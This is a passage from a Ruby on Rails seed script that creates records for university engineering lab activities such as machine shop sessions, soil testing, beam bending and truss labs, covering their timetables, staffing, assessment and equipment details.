notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a24.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a24.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a25 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at25 = ActivityTimetable.where(activity_id: a25.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a25.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a25.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a25.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a25.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a25.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a26 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 1)\n at26 = ActivityTimetable.where(activity_id: a26.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a26.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a26.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a26.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a26.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a26.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a27 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at27 = ActivityTimetable.where(activity_id: a27.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a27.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a27.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a27.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a27.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a27.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a28 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 3)\n at28 = ActivityTimetable.where(activity_id: a28.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a28.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a28.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a28.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a28.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a28.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a29 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at29 = ActivityTimetable.where(activity_id: a29.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a29.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a29.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a29.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a29.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a29.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a30 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at30 = ActivityTimetable.where(activity_id: a30.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a30.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a30.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a30.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a30.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a30.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a31 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at31 = ActivityTimetable.where(activity_id: a31.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a31.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a31.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a31.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a31.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a31.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a32 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at32 = ActivityTimetable.where(activity_id: a32.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a32.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a32.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a32.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a32.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a32.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a33 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at33 = ActivityTimetable.where(activity_id: a33.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a33.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a33.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a33.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a33.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a33.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a34 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"201\").first_or_create!(name: \"Bridge Building\",\n name_abrv: \"BRIDGE BLD\", archived: false, in_drive: true, user_id: 2)\n at34 = ActivityTimetable.where(activity_id: a34.id).first_or_create!(duration: 180, kit_prep_time: 210, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 210, takedown_time: 210, notes: \"After Bridge Design, Need PUPS\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a34.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a34.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a34.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a34.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, band saws, hot wire cutters, dremels, laser cutters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a34.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a35 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at35 = ActivityTimetable.where(activity_id: a35.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a35.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a35.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a35.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a35.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a35.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a36 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at36 = ActivityTimetable.where(activity_id: a36.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a36.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a36.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a36.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a36.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a36.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a37 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 2)\n at37 = ActivityTimetable.where(activity_id: a37.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a37.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a37.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a37.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a37.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a37.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a38 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 5)\n at38 = ActivityTimetable.where(activity_id: a38.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a38.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a38.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a38.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a38.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a38.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a39 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"204\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 4)\n at39 = ActivityTimetable.where(activity_id: a39.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at39.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a39.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a39.id).first_or_create!(criteria: \"\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a39.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a39.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a39.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a40 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"PC Frames\", archived: false, in_drive: true, user_id: 1)\n at40 = ActivityTimetable.where(activity_id: a40.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at40.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a40.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/8xku3D\",\n mole_pub_link: \"https://goo.gl/hWmGBG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a40.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a40.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a40.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a40.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a41 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"FRAMES\", archived: false, in_drive: true, user_id: 1)\n at41 = ActivityTimetable.where(activity_id: a41.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at41.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a41.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a41.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with plastic theory and proficient with Excel.\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a41.id).first_or_create!(assess_weight: nil, notes: \"MOLE Test\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a41.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a41.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a42 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Cantilever Truss\", archived: false, in_drive: true, user_id: 3)\n at42 = ActivityTimetable.where(activity_id: a42.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at42.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a42.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a42.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a42.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a42.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a42.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a43 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 3)\n at43 = ActivityTimetable.where(activity_id: a43.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at43.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a43.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/j7KZhd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a43.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a43.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a43.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a43.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a44 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: 